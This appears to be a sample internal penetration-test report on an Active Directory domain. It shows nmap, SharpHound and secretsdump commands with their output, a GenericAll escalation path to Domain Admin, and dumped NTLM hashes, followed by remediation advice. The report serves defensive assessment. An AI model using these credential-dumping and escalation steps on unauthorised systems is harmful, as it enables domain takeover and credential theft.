Penetration Test Report – Internal AD Assessment

Client: ACME Corp
Tester: Stella Barbarella
Date: [To be completed]
Scope: Internal – Active Directory domain `acme.local`

1. Objectives

- Identify vulnerabilities within Active Directory.
- Test privilege escalation paths from a standard user.
- Evaluate critical systems security (e.g., Domain Controller).
- Deliver remediation recommendations.

2. Methodology

- Recon: `nmap`, `CrackMapExec`
- AD Enumeration: `ldapsearch`, `smbclient`, `BloodHound`
- Lateral Movement: `Impacket`, `evil-winrm`
- Post-exploitation: `secretsdump`, `mimikatz`

3. Attack Details

3.1 Nmap Scan

Nmap Scan of the Domain Controller

```
$ nmap -p 88,135,139,389,445,5985,9389 -sV 192.168.56.10
```

```
PORT     STATE SERVICE       VERSION
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-09)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
445/tcp  open  microsoft-ds  Windows Server 2019 Standard 17763 microsoft-ds (workgroup: ACME)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open  adws          Microsoft ADWS
```

3.2 BloodHound Enumeration

BloodHound - Path to Domain Admin

```
$ SharpHound.exe -c all
```

```
Path found: ituser → GenericAll → svc-backup → Add to DA group
```

3.3 NTLM Hash Dump

Secretsdump - NTLM Hash Extraction

```
$ secretsdump.py acme.local/svc-backup@DC01.acme.local
```

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
svc-backup:1103:aad3b435b51404eeaad3b435b51404ee:9f0d2d7dedaeeb70d1c42d7a6c5a504c:::
```

4. Vulnerabilities

- **Misconfigured AD permissions:** `GenericAll` from `ituser` to `svc-backup`
- **Unrestricted access to WinRM/RDP for domain users**

5. Recommendations

- Restrict excessive AD permissions.
- Audit SYSVOL and GPO storage.
- Restrict WinRM access to admin-only.
- Enable and monitor logs via SIEM.

6. Conclusion

The assessment confirmed that a regular domain user can escalate to Domain Admin in less than 2 hours. Immediate ACL hardening and access control review are advised.